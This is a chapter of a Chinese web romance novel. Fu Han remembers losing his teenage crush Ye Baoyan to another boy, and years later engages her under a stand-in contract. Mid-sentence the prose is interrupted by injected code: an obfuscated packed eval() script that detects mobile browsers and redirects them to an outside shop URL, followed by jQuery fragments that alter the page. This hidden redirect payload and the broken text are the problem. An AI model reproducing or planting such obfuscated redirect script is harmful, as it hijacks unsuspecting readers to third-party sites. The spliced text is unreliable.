傅寒挂断电话，耳边传来一阵长长的嗡鸣，这声音很钝，不尖锐，像是他幼年摔掉的玩具火车发出来的声响一样。
嗡鸣声带他跌入那个碎金的黄昏。
岑曼枝穿上了那条一般只挂在衣柜的碎花旗袍，终于出现在傅寒的视野里，少年揉着眼睛，企图透过刺眼的碎金夕阳看清妈咪漂亮的样子，他先看到的却是一辆金光闪闪的玩具火车。
“中不中意？”
少年站起身已经比岑曼枝高了半个头，面无表情地点头。
“中意就好，你爹地给的，好东西来的，进口货。”岑曼枝扔下皮包，扫了眼空空无也的桌子，正要骂人，先听到儿子的声音：“他当我几岁？我上中学了。”
“砰”，玩具火车砸到地面，“嗡嗡嗡……”
火车表面毫无损伤，只是不停的发出鸣叫，声音有气无力，像没有电那样。
“你看不出这是旧的？这是傅家哪个少爷不要的垃圾，当我还是三岁？”
岑曼枝愣了一下，反应过来时，傅寒已经摔门出去了，只留下一句话：“我不是收破烂的。”
“你给我站住。”岑曼枝在他身后暴怒，“衰仔，要不是你这个拖油瓶，我怎么会这么惨，大把男人排队等着娶我。”
“还想怎么样，我能给你去傅家拿到这点东西就不错了。”
“今天只是个小火车，明天说不定他就松口让你回去。”
傅寒充耳不闻，漫无目的地在街上游荡，火红的霞光流银一般倾泻而下，给初上的华灯镀了一层朦胧的暖色，盛夏的傍晚，热气从地面升腾，少年行走在昏黄的蒸笼中，鼓噪不安的心跳愈加快，他在一个十字路口停下，茫然地盯着也正在散发热量的红灯，不知道要走向哪里。
绿灯跳过的瞬间，傅寒看见一个熟悉的身影迎面而来。
红色短发被镀了金色犹如火焰，眼尾那颗痣也被金光照到一霎，纤细的身影在天色将暗未暗时闪着光。
和往常一样，他调转脚步，不由自主地跟上这道光。
傅寒鼓噪的心跳到达顶点，想起那辆岑曼枝从傅家捡回来的二手火车，他忽然冲动地快跑上去，越过红发女孩，想对她说，叶宝言，我中意你很久了，我再也不要做在暗处偷偷喜欢的那个。
他姓傅，岑曼枝从他懂事那天就告诉他，他是傅少爷，可是他从来没进过傅家大门，只是深水埗无数蜗居在旧唐楼中的背景板。
他不想在自己喜欢的人面前依然是个背景板。
傅寒逆着光，看到昏黄的阳光在她小巧的鼻尖跳舞，她的眼中流光四射，红唇绽放，正在对着他笑。
他的心被浸了蜜一般，迎上去，也是在这时，他才知道她是在对着他后面的人笑。
“飞哥。”叶宝言像只小喜鹊一般飞过去，和他擦身而过，他的嘴角僵住，心中才灌满的蜜就被柠檬汁浸满了。
傅寒僵在原地，不敢转头去看。
他能听到女孩雀跃的声音。
“飞哥，找我做什么？”
“还能做什么，当然是约你看戏。”
“这么好？”
“叶宝言，你今天好靓。”
“多谢。”
“还有，我好中意你，做我女朋友？”
“谁要做你女朋友，咸湿佬。”
“不管了，我认定你了，我就中意你。”
“油嘴滑舌……”
这一刻比一个世纪还长，傅寒缓缓转头，天边绚烂的流光已散了大半，墨蓝正在驱赶紫红，成为天空主宰，叶宝言在这个蓝色时刻挽住了飞哥的手。
傅寒终究还是沦为人来人往的街头的一处背景板。
他的表白始于对那辆玩具火车的愤怒，无疾而终，到底是机会不对，如果他早一点，也许结果不一样。
但是没有如果。
傅寒在这些年中，无数次后悔过自己的懦弱和退却，要是再来一次，他一定会在第一次见到叶宝言时就抓住她。
只是，他没想到会是在十年后。
＊＊＊
叶宝言再次进入这个房间，心中极为不踏实，主要是傅寒太反常，她有很多事想不起来，不知是不是记漏了傅寒的事？也许是这十年里，他遇到了至爱的人？
想来想去，没有答案，她决定走一步看一步。
洗漱完看了几眼房间门，叶宝言踌躇再三还是反锁了门。
不知道明天会如何，先在今晚睡个好觉。
这一晚，她没做梦，早上起来后下楼，目及之处都是白色，雪白的墙壁在晨光中泛着光，没有一丝瑕疵，地面是哑光的象牙白，温润质感，被白色包围的楼道寂静无声，她不得不让自己的拖鞋声小一点，走到黑色螺旋楼梯前往下探看，下面好像一个无底洞，事实上这只是三楼，她静等了一会，整个房子好像也没任何动静。
“有人吗？”
只有她的回声打过来。
叶宝言咬了下唇，轻轻趿拉着拖鞋下楼梯，一楼巨大的落地窗将阳光全部漏进来，无数细小的尘埃在晨间的阳光下跳舞，而窗外是郁郁葱葱的绿意，她站在阳光里眯缝着眼，深呼吸了几口。
真漂亮啊，可惜这里不是她的家。
就算是以前傅家的老宅也没有这样漂亮。
她敛神，从阳光中走出来，去厨房找东西吃，她可以煮一碗冷冻的云吞。
直到厨房门前，她才看清里面有动静，而且动静很大。
这是她拉开厨房门才听到的大动静，煤气灶上的火呼呼地，锅里滋滋冒着热气，穿了一身黑的傅寒正在往锅里放牛肉丸。
听到动静的人微微侧身，视线在她身上一扫，很快转过去，没打招呼也没有表情，等盖上锅盖，他才转身抵在灶台上，不辨喜怒地吩咐：“去外面等着。”
叶宝言记着自己的替身工作身份，“我能做饭，可以帮忙的。”
“不需要。”
他无动于衷，再次示意她出去，恰好身后的锅响了，他转身忙活。
叶宝言看他动作熟练，似乎不需要她帮忙的样子，蹑手蹑脚地出厨房。
傅寒听到她轻轻的脚步声，忽然转头，目送她纤细的背影走开，又在她侧身关门时，若无其事地转回视线。
叶宝言在外面等着，无聊到只能用两只眼四处张望，她依然没改变对这个房子的第一印象，漂亮，简单，但是太大，毫无人气，透着一股森森的死人感。
她不记得傅家有这样的地方，她嫁入傅家后，住的是傅家大宅，傅玉成还带她去过几个公寓和小别墅，不过她记住的事不多。
她这么想着的时候，厨房门开了，傅寒端着两碗面出来。
“你要哪一碗？”他又是让她先选。
一碗有辣椒，一碗没有。
叶宝言当然选有辣椒的，但考虑到傅寒才是主人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632842|206453||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，为了以后的日子好过一点，她假意谦让：“不了，我随便，你先选吧。”
傅寒盯她两眼，选了没有辣椒的。
叶宝言暗喜，看来他不吃辣，这样正好，她毫无心理负担地吃面，面和云吞一样好吃，牛肉丸Q弹，她很快吃完，而傅寒的胃口显然没有她好，只动了几筷子。
“还要吗？”傅寒盯着她的空碗。
她正想说话，打了个饱嗝，“……不用了。”
傅寒没再问，低头吃自己的，这下倒是吃的快了，三两下解决完，收好碗，叶宝言自觉去洗碗，被他拉开。
“这话不要让我再说第三次，家务不需要你做。”
叶宝言叉腰，很疑惑：“什么都不要我做，我干什么？”
“真的只让我当个活人像？”
傅寒没说话，门铃先响了，他过去开门。
进来的有个上了年纪的女人，还有一个西装革履的精英男士。
“阿寒，吃早饭没有？”中年女人大圆脸，声音也柔和，看着和傅寒关系不错。
傅寒点头,给她和叶宝言做介绍，两人都很诧异，互相看了半天。
“宝姨，你做的云吞很好吃。”她捡了这句话说。
“？”
宝姨茫然，被傅寒打岔过去：“去打扫吧，除了上锁的房间，其他都可以进。”
宝姨去忙了，傅寒才叫西装革履的下属坐下。
那人拿出合同就走了。
傅寒让她仔细看合同，叶宝言看见整页版密密麻麻的文字就头疼，看了两行索性放下文件，“说重点吧，我需要为你做什么。”
“好。”傅寒将文件翻到关键那一页，双手撑在膝盖上，声音沉沉，“你的义务很很简单。”
叶宝言不是个好学生，中学没读完就辍学，还是能识字的。
－【第一条，待在甲方身边，保证甲方每天能见到乙方。】
－【第二条，在甲方需要看到乙方时，乙方有立刻出现的义务。】
－【第三条，如果有必要，甲方可以以伴侣身份向外人介绍乙方。】
叶宝言消化了一会，“就这些？”
“你先看完。”傅寒面无表情。
她继续翻下一页，在乙方的权利那一项停住，“怎么是空白？”
“如你所见，你的权利无限制。”傅寒直起身，靠坐进沙发，直直地望着她，哂笑，“你可以提任何要求，在我这里，应该没有什么要求，我不能满足。”
叶宝言不信他的鬼话，“不行，其他要求可以不加，有些要求一定要填上。”
“比如你不能随便进我房间。”
“不能随意和我有……”她顿了顿，“和我有亲密行为，包括但不限于亲吻，上床等等。”
“不能干涉我的人身自由。”
“不能……”
她一下没想起那么多，傅寒静静听她说，最后总结：“不需要这么麻烦，甲方不拒绝乙方任何诉求，身体以及物质上的。”
“只要你遵守约定，不交男朋友。”
“……”
听着很像是不平等条约，但有利于自己，叶宝言对男朋友没有执念，经历过那种婚姻后，她甚至患上了厌男症。
合同谈妥，她坐不住了，扫一圈大客厅，吐槽道：“你家怎么连个电视都没有，就算没电视，也该有个电话吧。”
“好。”